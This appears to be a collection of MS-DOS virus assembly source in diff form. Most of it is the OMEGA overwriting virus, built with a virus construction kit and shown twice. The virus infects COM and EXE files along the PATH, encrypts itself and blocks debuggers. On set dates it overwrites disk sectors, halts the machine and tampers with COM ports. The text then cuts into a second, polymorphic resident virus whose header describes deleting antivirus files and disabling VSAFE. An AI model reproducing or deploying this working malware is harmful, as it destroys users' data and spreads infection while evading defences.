||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
db 0A9h,06Bh,0DAh,081h,0AFh
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
|
||||
jne infection_done ; If it is then exit
|
||||
|
||||
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
|
||||
je infection_done ; If it is then skip it
|
||||
|
||||
cmp word ptr [si + 01Ah],(finish - start)
|
||||
jb infection_done ; If it's too small then exit
|
||||
|
||||
mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,4 ; CX holds bytes to read (4)
|
||||
mov dx,offset buffer ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
push si ; Save DTA address before compare
|
||||
mov si,offset buffer ; SI points to comparison buffer
|
||||
mov di,offset flag ; DI points to virus flag
|
||||
mov cx,4 ; CX holds number of bytes (4)
|
||||
rep cmpsb ; Compare the first four bytes
|
||||
pop si ; Restore DTA address
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
buffer db 4 dup (?) ; Buffer to hold test data
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
infect_file endp
|
||||
|
||||
|
||||
db 0F1h,0F6h,003h,06Bh,099h
|
||||
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
|
||||
db 0CDh,005h,004h,026h,0CFh
|
||||
|
||||
get_hour proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,ch ; Copy hour into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_hour endp
|
||||
|
||||
db 0F3h,06Ah,0F8h,002h,08Ah
|
||||
|
||||
get_month proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_month endp
|
||||
|
||||
db 0A8h,000h,015h,081h,0E7h
|
||||
|
||||
get_second proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,dh ; Copy second into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_second endp
|
||||
|
||||
db 03Fh,0FFh,089h,057h,0F2h
|
||||
|
||||
get_year proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
xchg cx,ax ; Transfer the year into AX
|
||||
ret ; Return to caller
|
||||
get_year endp
|
||||
|
||||
data00:
|
||||
db "Says the OMEGA virus:"
|
||||
|
||||
db "It has been nice playing these games with you but now it is all over."
|
||||
db "[...I am the Alpha and the Omega, the begining and the end.]"
|
||||
db "-Rev 22:6"
|
||||
db "Your C drive is being raptured!"
|
||||
|
||||
db "[...It is finished...]"
|
||||
db "-Rev 16:17"
|
||||
|
||||
|
||||
db "____________"
|
||||
db "/ \"
|
||||
db "| |"
|
||||
db "| |"
|
||||
db "| |"
|
||||
db "\ \ / /"
|
||||
db "\______\ /______/"
|
||||
|
||||
db "Omega"
|
||||
db "(The End)"
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
encrypt_code proc near
|
||||
mov si,offset encrypt_decrypt; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 8],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si],1 ;
|
||||
xor byte ptr [si + 7],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 10],0101h; (and vice-versa)
|
||||
|
||||
mov di,offset finish ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
mov si,offset write_stuff ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov dx,offset start ; DX points to virus
|
||||
|
||||
call finish ; Encrypt/write/decrypt
|
||||
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
mov si,offset start_of_code ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,540 @@
|
||||
; OMEGA.ASM -- Omega: The End
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Noinger
|
||||
|
||||
virus_type equ 1 ; Overwriting Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
flag: add bx,0
|
||||
xchg bx,ax
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
mov bx,offset null_vector ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
mov cx,0014h ; Do 20 infections
|
||||
search_loop: push cx ; Save CX
|
||||
call search_files ; Find and infect a file
|
||||
pop cx ; Restore CX
|
||||
loop search_loop ; Repeat until CX is 0
|
||||
|
||||
call get_month
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0010h ; Did the function return 16?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip00 ; If greater than or equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: mov cx,423Fh ; First argument is 16959
|
||||
new_shot: push cx ; Save the current count
|
||||
mov dx,0140h ; DX holds pitch
|
||||
mov bx,0100h ; BX holds shot duration
|
||||
in al,061h ; Read the speaker port
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
fire_shot: xor al,2 ; Toggle the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
add dx,09248h ;
|
||||
mov cl,3 ;
|
||||
ror dx,cl ; Figure out the delay time
|
||||
mov cx,dx ;
|
||||
and cx,01FFh ;
|
||||
or cx,10 ;
|
||||
shoot_pause: loop shoot_pause ; Delay a bit
|
||||
dec bx ; Are we done with the shot?
|
||||
jnz fire_shot ; If not, pulse the speaker
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
mov bx,0002h ; BX holds delay time (ticks)
|
||||
xor ah,ah ; Get time function
|
||||
int 1Ah ; BIOS timer interrupt
|
||||
add bx,dx ; Add current time to delay
|
||||
shoot_delay: int 1Ah ; Get the time again
|
||||
cmp dx,bx ; Are we done yet?
|
||||
jne shoot_delay ; If not, keep checking
|
||||
pop cx ; Restore the count
|
||||
loop new_shot ; Do another shot
|
||||
|
||||
mov si,0001h ; First argument is 1
|
||||
push es ; Save ES
|
||||
xor ax,ax ; Set the extra segment to
|
||||
mov es,ax ; zero (ROM BIOS)
|
||||
shl si,1 ; Convert to word index
|
||||
mov word ptr [si + 03FEh],0 ; Zero COM port address
|
||||
pop es ; Restore ES
|
||||
|
||||
end00: call get_month
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jle skip01 ; If less that or equal, skip effect
|
||||
jmp short strt01 ; Success -- skip jump
|
||||
skip01: jmp end01 ; Skip the routine
|
||||
strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h
|
||||
|
||||
end01: call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip02 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jle skip02 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip02 ; If greater than or equal, skip effect
|
||||
jmp short strt02 ; Success -- skip jump
|
||||
skip02: jmp end02 ; Skip the routine
|
||||
strt02: mov bx,0001h ; First argument is 1
|
||||
mov si,0002h ; Second argument is 2
|
||||
push es ; Save ES
|
||||
xor ax,ax ; Set the extra segment to
|
||||
mov es,ax ; zero (ROM BIOS)
|
||||
shl bx,1 ; Convert to word index
|
||||
shl si,1 ; Convert to word index
|
||||
mov ax,word ptr [bx + 03FEh]; Zero COM port address
|
||||
xchg word ptr [si + 03FEh],ax; Put first value in second,
|
||||
mov word ptr [bx + 03FEh],ax; and second value in first!
|
||||
pop es ; Restore ES
|
||||
|
||||
end02: call get_month
|
||||
cmp ax,000Bh ; Did the function return 11?
|
||||
jne skip03 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jle skip03 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip03 ; If greater than or equal, skip effect
|
||||
jmp short strt03 ; Success -- skip jump
|
||||
skip03: jmp end03 ; Skip the routine
|
||||
strt03: int 018h ; Drop to ROM BASIC
|
||||
|
||||
end03: call get_month
|
||||
cmp ax,000Ch ; Did the function return 12?
|
||||
jne skip04 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0002h ; Did the function return 2?
|
||||
jle skip04 ; If less that or equal, skip effect
|
||||
cmp ax,0002h ; Did the function return 2?
|
||||
jge skip04 ; If greater than or equal, skip effect
|
||||
jmp short strt04 ; Success -- skip jump
|
||||
skip04: jmp end04 ; Skip the routine
|
||||
strt04: cli ; Clear the interrupt flag
|
||||
hlt ; HaLT the computer
|
||||
jmp short $ ; Just to make sure
|
||||
|
||||
end04: call get_year
|
||||
cmp ax,07CDh ; Did the function return 1997?
|
||||
jle skip05 ; If less that or equal, skip effect
|
||||
call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip05 ; If not equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0005h ; Did the function return 5?
|
||||
jle skip05 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip05 ; If greater than or equal, skip effect
|
||||
call get_second
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip05 ; If not equal, skip effect
|
||||
jmp short strt05 ; Success -- skip jump
|
||||
skip05: jmp end05 ; Skip the routine
|
||||
strt05: mov si,offset data00 ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
end05: call get_year
|
||||
cmp ax,07CDh ; Did the function return 1997?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip06 ; If greater than or equal, skip effect
|
||||
call get_second
|
||||
cmp ax,0005h ; Did the function return 5?
|
||||
jne skip06 ; If not equal, skip effect
|
||||
jmp short strt06 ; Success -- skip jump
|
||||
skip06: jmp end06 ; Skip the routine
|
||||
strt06: mov ax,0002h ; First argument is 2
|
||||
mov cx,423Fh ; Second argument is 16959
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
|
||||
end06: mov ax,04C00h ; DOS terminate function
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
|
||||
db 0FDh,0C8h,006h,0C6h,0DFh
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,135 ; Allocate 135 bytes on stack
|
||||
|
||||
mov byte ptr [bp - 135],'\' ; Start with a backslash
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 134] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
call traverse_path ; Start the traversal
|
||||
|
||||
traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful?
|
||||
je done_searching ; If so then we're done
|
||||
call found_subdir ; Otherwise copy the subdirectory
|
||||
|
||||
mov ax,cs ; AX holds the code segment
|
||||
mov ds,ax ; Set the data and extra
|
||||
mov es,ax ; segments to the code segment
|
||||
|
||||
xor al,al ; Zero AL
|
||||
stosb ; NULL-terminate the directory
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 70] ; DX points to the directory
|
||||
int 021h
|
||||
|
||||
mov dx,offset com_mask ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a .COM file
|
||||
jnc done_searching ; If successful the exit
|
||||
mov dx,offset exe_mask ; DX points to "*.EXE"
|
||||
call find_files ; Try to infect an .EXE file
|
||||
jnc done_searching ; If successful the exit
|
||||
jmp short traversal_loop ; Keep checking the PATH
|
||||
|
||||
done_searching: mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 135] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
cmp word ptr [path_ad],0 ; Did we run out of directories?
|
||||
jne at_least_tried ; If not then exit
|
||||
stc ; Set the carry flag for failure
|
||||
at_least_tried: mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
||||
search_files endp
|
||||
|
||||
traverse_path proc near
|
||||
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
|
||||
xor di,di ; DI holds the starting offset
|
||||
|
||||
find_path: mov si,offset path_string ; SI points to "PATH="
|
||||
lodsb ; Load the "P" into AL
|
||||
mov cx,08000h ; Check the first 32767 bytes
|
||||
repne scasb ; Search until the byte is found
|
||||
mov cx,4 ; Check the next four bytes
|
||||
check_next_4: lodsb ; Load the next letter of "PATH="
|
||||
scasb ; Compare it to the environment
|
||||
jne find_path ; If there not equal try again
|
||||
loop check_next_4 ; Otherwise keep checking
|
||||
|
||||
mov word ptr [path_ad],di ; Save the PATH address for later
|
||||
mov word ptr [path_ad + 2],es ; Save PATH's segment for later
|
||||
ret ; Return to caller
|
||||
|
||||
path_string db "PATH=" ; The PATH string to search for
|
||||
path_ad dd ? ; Holds the PATH's address
|
||||
traverse_path endp
|
||||
|
||||
found_subdir proc near
|
||||
lds si,dword ptr [path_ad] ; DS:SI points to the PATH
|
||||
lea di,[bp - 70] ; DI points to the work buffer
|
||||
push cs ; Transfer CS into ES for
|
||||
pop es ; byte transfer
|
||||
move_subdir: lodsb ; Load the next byte into AL
|
||||
cmp al,';' ; Have we reached a separator?
|
||||
je moved_one ; If so we're done copying
|
||||
or al,al ; Are we finished with the PATH?
|
||||
je moved_last_one ; If so get out of here
|
||||
stosb ; Store the byte at ES:DI
|
||||
jmp short move_subdir ; Keep transfering characters
|
||||
|
||||
moved_last_one: xor si,si ; Zero SI to signal completion
|
||||
moved_one: mov word ptr es:[path_ad],si; Store SI in the path address
|
||||
ret ; Return to caller
|
||||
found_subdir endp
|
||||
|
||||
db 0BFh,0C0h,0BDh,072h,05Fh
|
||||
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
db 0A9h,06Bh,0DAh,081h,0AFh
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
|
||||
jne infection_done ; If it is then exit
|
||||
|
||||
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
|
||||
je infection_done ; If it is then skip it
|
||||
|
||||
cmp word ptr [si + 01Ah],(finish - start)
|
||||
jb infection_done ; If it's too small then exit
|
||||
|
||||
mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,4 ; CX holds bytes to read (4)
|
||||
mov dx,offset buffer ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
push si ; Save DTA address before compare
|
||||
mov si,offset buffer ; SI points to comparison buffer
|
||||
mov di,offset flag ; DI points to virus flag
|
||||
mov cx,4 ; CX holds number of bytes (4)
|
||||
rep cmpsb ; Compare the first four bytes
|
||||
pop si ; Restore DTA address
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
buffer db 4 dup (?) ; Buffer to hold test data
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
infect_file endp
|
||||
|
||||
|
||||
db 0F1h,0F6h,003h,06Bh,099h
|
||||
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
|
||||
db 0CDh,005h,004h,026h,0CFh
|
||||
|
||||
get_hour proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,ch ; Copy hour into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_hour endp
|
||||
|
||||
db 0F3h,06Ah,0F8h,002h,08Ah
|
||||
|
||||
get_month proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_month endp
|
||||
|
||||
db 0A8h,000h,015h,081h,0E7h
|
||||
|
||||
get_second proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,dh ; Copy second into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_second endp
|
||||
|
||||
db 03Fh,0FFh,089h,057h,0F2h
|
||||
|
||||
get_year proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
xchg cx,ax ; Transfer the year into AX
|
||||
ret ; Return to caller
|
||||
get_year endp
|
||||
|
||||
data00:
|
||||
db "Says the OMEGA virus:"
|
||||
|
||||
db "It has been nice playing these games with you,
|
||||
db "...but now it is all over."
|
||||
db "[...I am the Alpha and the Omega, the begining and the end.]"
|
||||
db "-Rev 22:6"
|
||||
db "Your C drive is being raptured!"
|
||||
|
||||
db "[...It is finished...]"
|
||||
db "-Rev 16:17"
|
||||
|
||||
|
||||
db "____________"
|
||||
db "/ \"
|
||||
db "| |"
|
||||
db "| |"
|
||||
db "| |"
|
||||
db "\ \ / /"
|
||||
db "\______\ /______/"
|
||||
|
||||
db "Omega"
|
||||
db "(The End)"
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
encrypt_code proc near
|
||||
mov si,offset encrypt_decrypt; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 8],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si],1 ;
|
||||
xor byte ptr [si + 7],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 10],0101h; (and vice-versa)
|
||||
|
||||
mov di,offset finish ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
mov si,offset write_stuff ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov dx,offset start ; DX points to virus
|
||||
|
||||
call finish ; Encrypt/write/decrypt
|
||||
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
mov si,offset start_of_code ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,429 @@
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
; One/Thirteenth - coded by ûirogen [NuKE] on 02-23-95
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
; -Polymorphic, Memory-Resident, Parastic COM & EXE Infector
|
||||
; -Deletes Invircible Signature Files from disk no matter what name
|
||||
; they are under.
|
||||
; -Also deletes ANTI-VIR.DAT, CHKLIST.MS, and CHKLIST.CPS.
|
||||
; -Avoids Infecting InVircible Bait Files
|
||||
; -Disables VSAFE/VWATCH if in memory
|
||||
; -Avoids new format EXEs
|
||||
; -Installs it's own INT 24h
|
||||
; -EXE Id is: Checksum Not 0
|
||||
; -COM Id is: Fourth byte 0
|
||||
; -Resident Check: VSAFE/VWATCH API , ret:SI=0
|
||||
;
|
||||
; Polymorphism: ûiCE v0.3á /w JMPS ON & ANTI-TBSCAN CODE ON
|
||||
;
|
||||
;
|
||||
;
|
||||
cseg segment
|
||||
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
|
||||
|
||||
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
|
||||
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
|
||||
buf_size equ 170
|
||||
vice_size equ 1761+buf_size
|
||||
virus_size equ (offset vend-offset start)+VICE_SIZE
|
||||
|
||||
extrn _vice: near
|
||||
|
||||
org 0h
|
||||
start:
|
||||
int 3
|
||||
call nx ; get relative offset
|
||||
nx: mov si,sp ; no-heuristic
|
||||
sub word ptr ss: [si],offset nx
|
||||
mov bp,word ptr ss: [si]
|
||||
add sp,2
|
||||
|
||||
push ds es ; save segments for EXE
|
||||
inc si
|
||||
mov ax,1000
|
||||
add ax,signal-1000 ; no heuristics m0n
|
||||
mov dx,vsafe_word
|
||||
int 21h
|
||||
or si,si
|
||||
jz no_install ; if carry then we are
|
||||
|
||||
mov ax,ds ; PSP segment
|
||||
dec ax ; mcb below PSP m0n
